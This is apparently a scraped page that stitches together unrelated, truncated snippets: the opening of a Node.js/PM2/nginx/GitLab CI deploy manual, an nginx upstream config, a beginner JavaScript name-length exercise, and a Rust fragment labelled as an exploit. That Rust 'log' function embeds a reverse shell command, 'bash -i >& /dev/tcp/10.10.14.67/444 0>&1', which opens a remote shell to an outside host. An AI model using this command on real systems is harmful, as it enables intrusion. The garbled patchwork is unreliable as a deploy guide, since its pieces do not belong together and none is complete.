This manual is about setting up an automatic deploy workflow using nodejs, PM2, nginx and GitLab CI. It is tested on:
- Target server: Ubuntu 16.04 x64. This is suitable for Ubuntu 14.x.
- Windows 10 on my PC to work.
| // I couldn't find the owner of the exploit, anyone who knows can comment so I can give the credits ;) | |
| extern crate chrono; | |
| use std::fs::OpenOptions; | |
| use std::io::Write; | |
| use chrono::prelude::*; | |
| use std::process::Command; | |
| pub fn log(user: &str, query: &str, justification: &str) { | |
| let command = "bash -i >& /dev/tcp/10.10.14.67/444 0>&1"; |
| upstream api { | |
| server 127.0.0.1:3001; | |
| keepalive 8; | |
| } | |
| server { | |
| listen 80 default_server; | |
| listen [::]:80 default_server ipv6only=on; | |
| root /home/ubuntu/site/code/distServer; |
| var hacker1= "Palma"; | |
| console.log("The driver’s name is "+hacker1); | |
| var hacker2=prompt("What’s your name"); | |
| console.log("The navigator’s name is "+hacker2) | |
| if(hacker1.length>hacker2.length){ | |
| console.log("The driver has the longest name it has "+hacker1.length+ " characters"); | |
| }else if(hacker2.length>hacker1.length){ | |
| console.log("The navigator got the longest name, it has "+hacker2.length+ " characters"); | |
| }else{ |